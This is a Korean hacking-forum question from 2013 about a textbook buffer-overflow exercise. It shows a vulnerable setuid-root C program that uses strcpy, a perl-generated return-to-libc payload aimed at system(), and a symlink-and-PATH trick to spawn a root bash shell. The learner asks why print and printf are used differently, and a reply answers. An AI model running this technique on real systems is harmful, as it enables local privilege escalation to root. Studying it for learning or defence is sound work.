시스템 해킹

 1576, 1/79 회원가입  로그인  
   xkdlrjxkdltm
   버퍼 오버 플로우 print와 printf 의 차이

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1707 [복사]


해쿨북을 삿는데
재밋다 모니깐 한번에 다읽었는데 이해가 안되는 곳이있습니다.

vuln.c(root 권한 파일 setUID,setGID)
블라블~~~~~~~~~~~
~~~~~~~~~~~~
~~~~~~~~~~~~걍 기본적인 내용임
int main(int argc,char *argv[])
{
char buffer[80];

if(argc<2){
printf("그냥 애러라는 내용임 \n");
return 1;
}

strcpy(buffer,argv[1]);

printf(" %s\n", buffer);요거는 걍내용짜르고 중요한거만 너음
}

보시면 아시겟지만 루트 권한을 털라는건데요.
리턴어드레스를 건들여서 안꺼지게한다는 그런내용인데....
여기서
그닥 별거아닌내용 넘길게요.

어쩌고 저쩌고해서 system()의 어드레스를 따서
./vuln `perl -e 'print"A"x84, "여기에다가 어드레스 리틀 인디엔 방식으로"'`
실행결과 애러발생    
bash: 웝?? command not found 파일이 없다는거라네요  그럼 파일을 만들어야지 해서
일단 웝이란 것의 xxd로 내용을 확인하니 ffdf ffaf ffcf ffdf 이런식으로 나오길래
ln -s /bin/bash `perl -e 'printf "위주소"'`
그리고 웝이라는 파일은 절대,상대 경로도 아니기떄문에 PATH화경변수에 현제
경로를 때려박았습니다.
여기까지 여기서 ./vuln 쪽에서는 print 라고하고 ln쪽에서는 printf라고하나요?

  Hit : 4665     Date : 2013/09/05 10:37



    
kumi123 아뇨... printf 와 print의 차이는, 포맷스트링 여부 밖에 없어요.. 아무거나 써도 된다능 2013/09/07  
xkdlrjxkdltm 그렇군요 ㅎㅎ 감사하다능~ ㅋ 2013/09/08